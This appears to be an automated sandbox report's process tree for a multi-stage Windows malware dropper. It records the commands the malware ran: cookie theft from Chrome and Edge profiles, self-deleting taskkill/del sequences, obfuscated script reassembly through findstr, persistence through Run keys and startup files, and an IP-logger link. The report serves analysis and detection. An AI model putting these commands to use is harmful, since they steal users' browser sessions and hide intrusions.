C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_1.exe"C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_1.exe" -a6⤵
- Executes dropped EXE
PID:3588
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_2.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_2.exearnatic_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3648
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_3.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_3.exearnatic_3.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3820 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im arnatic_3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_3.exe" & del C:\ProgramData\*.dll & exit6⤵PID:4948
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im arnatic_3.exe /f7⤵
- Kills process with taskkill
PID:4176
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
PID:4752
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_4.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_4.exearnatic_4.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵PID:2168
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4528 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
PID:4720
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
PID:192
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
PID:4872 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 8088⤵
- Drops file in Windows directory
- Program crash
PID:4896
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 8408⤵
- Program crash
PID:4388
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 8928⤵
- Program crash
PID:4660
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 10608⤵
- Program crash
PID:1848
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 11048⤵
- Program crash
PID:4836
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 10608⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4796
-
-
-
C:\Users\Admin\AppData\Local\Temp\zhangd.exe"C:\Users\Admin\AppData\Local\Temp\zhangd.exe"7⤵
- Executes dropped EXE
PID:4984 -
C:\Users\Admin\AppData\Local\Temp\zhangd.exe"C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a8⤵
- Executes dropped EXE
PID:4828
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup 326.exe"C:\Users\Admin\AppData\Local\Temp\setup 326.exe"7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4776 -
C:\Windows\winnetdriv.exe"C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626818988 08⤵
- Executes dropped EXE
PID:5072
-
-
-
C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"7⤵
- Executes dropped EXE
PID:2052
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_5.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_5.exearnatic_5.exe5⤵
- Executes dropped EXE
PID:1456 -
C:\Users\Admin\Documents\ZXDQLm6hCeP98sXoh301fiSa.exe"C:\Users\Admin\Documents\ZXDQLm6hCeP98sXoh301fiSa.exe"6⤵
- Executes dropped EXE
PID:4824 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp7⤵PID:4632
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:4940
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp9⤵PID:5592
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Acre.exe.comAcre.exe.com k9⤵
- Executes dropped EXE
PID:5912 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Acre.exe.com k10⤵
- Executes dropped EXE
- Drops startup file
PID:5392
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:5948
-
-
-
-
-
C:\Users\Admin\Documents\bnXuFZ_V4jogGZF7i06fptXr.exe"C:\Users\Admin\Documents\bnXuFZ_V4jogGZF7i06fptXr.exe"6⤵
- Executes dropped EXE
PID:3432
-
-
C:\Users\Admin\Documents\KQfisfdolyXiR61ztQ4J4Rs4.exe"C:\Users\Admin\Documents\KQfisfdolyXiR61ztQ4J4Rs4.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4352 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im KQfisfdolyXiR61ztQ4J4Rs4.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\KQfisfdolyXiR61ztQ4J4Rs4.exe" & del C:\ProgramData\*.dll & exit7⤵
- Suspicious use of SetThreadContext
PID:3816 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im KQfisfdolyXiR61ztQ4J4Rs4.exe /f8⤵
- Kills process with taskkill
PID:2696
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:6068
-
-
-
-
C:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exe"C:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exe"6⤵
- Executes dropped EXE
PID:4516 -
C:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exeC:\Users\Admin\Documents\A4l8oE2nSW9AgZVhWBZdWy7J.exe7⤵
- Executes dropped EXE
PID:4572
-
-
-
C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe"C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe"6⤵
- Executes dropped EXE
PID:3816 -
C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe"C:\Users\Admin\Documents\4eoqwQ8o552A7Vb0i4Q8aPVL.exe"7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:3064
-
-
-
C:\Users\Admin\Documents\5IqyhPKdMbUX_ZBggyofw05T.exe"C:\Users\Admin\Documents\5IqyhPKdMbUX_ZBggyofw05T.exe"6⤵
- Executes dropped EXE
PID:5116 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Bagnava.xltm7⤵PID:4924
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:1572
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^IPAFDLOJiKVQTxFiLgMiLlaMrCAuVnAKdUxdXbtsjyJWSQEpztbDlGmbvNCwlINIlkmYZfphlcUGAvUjYsMQqXmJxXUpUru$" Sia.xltm9⤵PID:3636
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.comSensitive.exe.com p9⤵PID:4852
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p10⤵PID:5840
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p11⤵PID:3824
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p12⤵PID:4388
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sensitive.exe.com p13⤵
- Drops startup file
PID:4112
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:3896
-
-
-
-
-
C:\Users\Admin\Documents\QxIsXqtJ8wwmehX1XtJ7HGxK.exe"C:\Users\Admin\Documents\QxIsXqtJ8wwmehX1XtJ7HGxK.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4720 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "7⤵PID:2280
-
C:\Windows\SysWOW64\explorer.exeexplorer https://iplogger.org/2LBCU68⤵PID:2208
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj.reg8⤵
- Runs .reg file with regedit
PID:5352
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj2.reg8⤵
- Runs .reg file with regedit
PID:5588
-
-
-
C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"7⤵
- Executes dropped EXE
PID:4496
-
-
-
C:\Users\Admin\Documents\3YjZ7cfhK4892S8nlSUawp32.exe"C:\Users\Admin\Documents\3YjZ7cfhK4892S8nlSUawp32.exe"6⤵
- Executes dropped EXE
PID:4540 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:5188
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:4888
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:5100
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Suspicious use of SetThreadContext
PID:4516
-
-
-
C:\Users\Admin\Documents\WMl8IllC51ycE9kotVpQsxif.exe"C:\Users\Admin\Documents\WMl8IllC51ycE9kotVpQsxif.exe"6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5044
-
-
C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5040 -
C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3848 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\jN8DwAppdjfKRtyGfwLxgzIL.exe"8⤵PID:5192
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK9⤵
- Delays execution with timeout.exe
PID:4716
-
-
-
-
-
C:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exe"C:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exe"6⤵PID:3540
-
C:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exeC:\Users\Admin\Documents\oEDySmntZ_9Dzy2qDEchgSuO.exe7⤵
- Executes dropped EXE
PID:5104
-
-
-
C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe"C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe"6⤵
- Executes dropped EXE
PID:2264 -
C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe"C:\Users\Admin\Documents\a6oZjCmUSAZfJyCwEfurrdC5.exe"7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4852
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2264 -s 5527⤵
- Program crash
PID:2196
-
-
-
C:\Users\Admin\Documents\B3b0Y1FMIO52HsneZWYr5ysM.exe"C:\Users\Admin\Documents\B3b0Y1FMIO52HsneZWYr5ysM.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3060 -
C:\Users\Admin\AppData\Roaming\1234.exeC:\Users\Admin\AppData\Roaming\1234.exe 12347⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4280 -
C:\Users\Admin\AppData\Roaming\1234.exe"{path}"8⤵PID:5252
-
-
C:\Users\Admin\AppData\Roaming\1234.exe"{path}"8⤵PID:4860
-
-
C:\Users\Admin\AppData\Roaming\1234.exe"{path}"8⤵PID:3832
-
-
C:\Users\Admin\AppData\Roaming\1234.exe"{path}"8⤵PID:5344
-
-
C:\Users\Admin\AppData\Roaming\1234.exe"{path}"8⤵PID:5372
-
-
-
-
C:\Users\Admin\Documents\7acm7FKtWdYJ9B2d4BHTtDGe.exe"C:\Users\Admin\Documents\7acm7FKtWdYJ9B2d4BHTtDGe.exe"6⤵
- Executes dropped EXE
PID:4228 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:6004
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:5516
-
-
-
-
C:\Users\Admin\Documents\yN_x518PbsdA0Ja38LBGSOu7.exe"C:\Users\Admin\Documents\yN_x518PbsdA0Ja38LBGSOu7.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4476
-
-
C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe"C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4560 -
C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exeC:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe7⤵
- Executes dropped EXE
PID:1684
-
-
C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exeC:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe7⤵
- Executes dropped EXE
PID:5144
-
-
C:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exeC:\Users\Admin\Documents\ngLZxalN1_wRq6hrIcxLJZOA.exe7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3540
-
-
-
C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe"C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe"6⤵
- Executes dropped EXE
PID:3740 -
C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe"C:\Users\Admin\Documents\8_scXCrWoI_9MLe1LcnIH1dC.exe" -a7⤵
- Executes dropped EXE
PID:4448
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_6.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_6.exearnatic_6.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820 -
C:\Users\Admin\AppData\Roaming\8575425.exe"C:\Users\Admin\AppData\Roaming\8575425.exe"6⤵
- Executes dropped EXE
PID:4200 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4200 -s 15487⤵
- Program crash
PID:4788
-
-
-
C:\Users\Admin\AppData\Roaming\4728412.exe"C:\Users\Admin\AppData\Roaming\4728412.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4248 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
PID:5060
-
-
-
C:\Users\Admin\AppData\Roaming\6708600.exe"C:\Users\Admin\AppData\Roaming\6708600.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4328 -
C:\Users\Admin\AppData\Roaming\6708600.exeC:\Users\Admin\AppData\Roaming\6708600.exe7⤵
- Executes dropped EXE
PID:4168
-
-
-
C:\Users\Admin\AppData\Roaming\8854983.exe"C:\Users\Admin\AppData\Roaming\8854983.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4448
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_7.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3680
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:4340
-
-
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_7.exearnatic_7.exe1⤵
- Executes dropped EXE
PID:1288 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
PID:4172
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4144
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
PID:4932
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
- Executes dropped EXE
PID:4252
-
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:4144 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4164
-
-
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exeC:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe1⤵
- Executes dropped EXE
PID:2704
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2052 -s 10041⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
PID:3336
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:3432 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4644
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵PID:4396
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:5300 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
PID:5316
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5864
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5940
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:6044
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:5304
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
- Executes dropped EXE
PID:3824
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:1972
-
C:\Users\Admin\AppData\Local\Temp\CFC4.exeC:\Users\Admin\AppData\Local\Temp\CFC4.exe1⤵PID:5832
-
C:\ProgramData\7Q9YWIV3E5EG54V1.exe"C:\ProgramData\7Q9YWIV3E5EG54V1.exe"2⤵PID:5624
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im CFC4.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\CFC4.exe" & del C:\ProgramData\*.dll & exit2⤵PID:3100
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im CFC4.exe /f3⤵
- Kills process with taskkill
PID:5844
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
PID:5824
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Executes dropped EXE
- Modifies registry class
PID:5840
-
C:\Users\Admin\AppData\Local\Temp\1579.exeC:\Users\Admin\AppData\Local\Temp\1579.exe1⤵
- Loads dropped DLL
- Adds Run key to start application
- Checks processor information in registry
- NTFS ADS
PID:5832 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\1579.exe" /P "Admin:N"2⤵PID:2212
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4476
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\1579.exe" /P "Admin:N"3⤵PID:5668
-
-
-
C:\Windows\SysWOW64\CACLS.exeCACLS "C:\Users\Admin\AppData\Local\Temp\1579.exe" /P "Admin:R" /E2⤵PID:4740
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:N"2⤵PID:5724
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1620
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:N"3⤵PID:5152
-
-
-
C:\Windows\SysWOW64\CACLS.exeCACLS "C:\Users\Admin\AppData\Local\Temp" /P "Admin:R" /E2⤵PID:5800
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 7122⤵
- Program crash
PID:948
-
-
C:\Users\Admin\AppData\Local\Temp\28F2.exeC:\Users\Admin\AppData\Local\Temp\28F2.exe1⤵PID:3196
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:5356
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:5580
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5952
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5812